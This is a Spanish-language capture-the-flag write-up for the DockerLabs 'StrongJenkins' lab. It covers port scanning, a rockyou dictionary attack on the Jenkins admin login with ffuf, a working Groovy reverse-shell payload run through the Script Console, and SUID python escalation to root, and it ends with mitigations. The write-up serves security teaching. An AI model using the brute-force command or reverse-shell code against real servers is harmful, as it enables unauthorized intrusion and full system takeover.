August 14, 2026
DockerLabs Writeup — StrongJenkins (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “StrongJenkins”.

By David Prieto Montero (a.k.a Pyth0nK1d)
6 min read
Este laboratorio está catalogado con la dificultad "Medio" y su autor es "El Pingüino de Mario".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Contraseña débil, Divulgación de información, Jenkins, Set User ID (SUID)
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Investigación de una instancia de Jenkins con recursos expuestos que pueden ser de interés.
- Descubrimiento de la contraseña de la cuenta
adminpor defecto de este servicio debido a un ataque de diccionario con credenciales conocidas. - Acceso a la consola de scripts Groovy gracias al descubrimiento que credenciales de administración, pudiendo así obtener acceso inicial a través de una consola inversa al contexto del usuario
jenkins. - Encontrado un binario con el bit SUID habilitado que permite escalar privilegios al contexto del usuario
root.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 8080 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 8080 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (jenkins)
En este caso se detecta que hay un puerto abierto:
- Puerto 8080 (servicio HTTP, Jetty 10.0.20)
Al revisar el puerto 80, se accede a un formulario de login de una instancia de Jenkins.
En resumen, Jenkins es un software open source que automatiza procesos de CI/CD mediante pipelines, facilitando la compilación, prueba, mantenimiento, integración y despliegue continuo de proyectos de forma eficiente.
URL: http://172.17.0.2:8080/login?from=%2FURL: http://172.17.0.2:8080/login?from=%2F
Tras escanearlo en busca de nuevos recursos, se detectan varios que pueden ser de interés.
gobuster dir -u http://172.17.0.2:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 32 -b 403,404gobuster dir -u http://172.17.0.2:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 32 -b 403,404
Tras revisar el contenido de los recursos encontrados, el único que parece tener algo interesante es la página "oops", exponiendo la versión concreta de la instancia de Jenkins.
URL -> http://172.17.0.2:8080/oops
...
Jenkins 2.440.2URL -> http://172.17.0.2:8080/oops
...
Jenkins 2.440.2
Sin embargo, tras revisar posibles vulnerabilidades relacionadas con esta versión, no se consigue nada relevante a través de este vector. Por lo que, lo siguiente que se intenta es realizar un ataque de diccionario sobre el usuario "admin" del sitio.
Un aspecto a tener en cuenta para este servicio en particular es que para detectar credenciales válidas la diferencia en la que hay que fijarse en este caso es en la cabecera "Location" de las respuestas.
Comprobando la respuesta obtenida introduciendo unas credenciales cualquiera, se puede comprobar que realiza una redirección a "http://172.17.0.2:8080/loginError", terminando en un código de estado 401 — No autorizado.
URL -> http://172.17.0.2:8080/login?from=%2F
(introducir credenciales cualquiera)
URL (redirección) -> http://172.17.0.2:8080/loginErrorURL -> http://172.17.0.2:8080/login?from=%2F
(introducir credenciales cualquiera)
URL (redirección) -> http://172.17.0.2:8080/loginError
Teniendo esto en consideración, se utiliza la herramienta "ffuf" para realizar un ataque de diccionario personalizando cómo interpretar las respuestas del servidor en función de las credenciales proporcionadas, revisando principalmente la cabecera "Location" en combinación con el código de estado.
Al no existir ninguna medida que limite el número de intentos de login, esto resulta en obtener relativamente rápido las credenciales válidas del usuario "admin".
ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "j_username=admin&j_password=FUZZ&from=%2F&Submit=" -u http://172.17.0.2:8080/j_spring_security_check -H "Content-Type: application/x-www-form-urlencoded" -fr "Location: /http://172.17.0.2:8080/loginError" -r -fc 401ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "j_username=admin&j_password=FUZZ&from=%2F&Submit=" -u http://172.17.0.2:8080/j_spring_security_check -H "Content-Type: application/x-www-form-urlencoded" -fr "Location: /http://172.17.0.2:8080/loginError" -r -fc 401
Por ello, tras probar en el login las credenciales descubiertas, es posible acceder a la parte administrativa del servidor Jenkins.
URL -> http://172.17.0.2:8080URL -> http://172.17.0.2:8080
En este punto, es posible acceder a la consola de Jenkins directamente.
Manage Jenkins > Tools and Actions > Script Console
URL -> http://172.17.0.2:8080/manage/Manage Jenkins > Tools and Actions > Script Console
URL -> http://172.17.0.2:8080/manage/
Al acceder, se comprueba que es posible interactuar con la consola y ejecutar código.
URL -> http://172.17.0.2:8080/manage/scriptURL -> http://172.17.0.2:8080/manage/script
Para acceder al sistema, primero se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
A continuación, se configura e inserta en la consola de Jenkins una consola inversa escrita en el lenguaje Groovy.
String host="172.17.0.1";
int port=1337;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();String host="172.17.0.1";
int port=1337;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Tras pulsar en el botón "Run", se puede comprobar que la consola inversa se ha capturado en el puerto a la escucha, y se ha obtenido acceso al sistema como el usuario "jenkins".
whoami
id
hostnamewhoami
id
hostname
Por último, actualizar la consola a una TTY usando Python para terminar con el acceso inicial.
tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/0)tty -> (not a tty)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> (/dev/pts/0)
Escalada de privilegios (jenkins -> root)
Al listar los archivos del sistema con el bit SUID habilitado, se puede comprobar que existe un binario que puede aprovecharse para realizar una escalada de privilegios. Este es el siguiente:
- /usr/bin/python3.10
find / -perm -4000 2>/dev/nullfind / -perm -4000 2>/dev/null
Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones en función de los permisos asignados.
Referencia: https://gtfobins.org/gtfobins/python/#shellReferencia: https://gtfobins.org/gtfobins/python/#shell
En este caso, es posible abrir una consola interactiva en el contexto del usuario "root" directamente.
/usr/bin/python3.10 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
whoami
id
hostname/usr/bin/python3.10 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
- Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com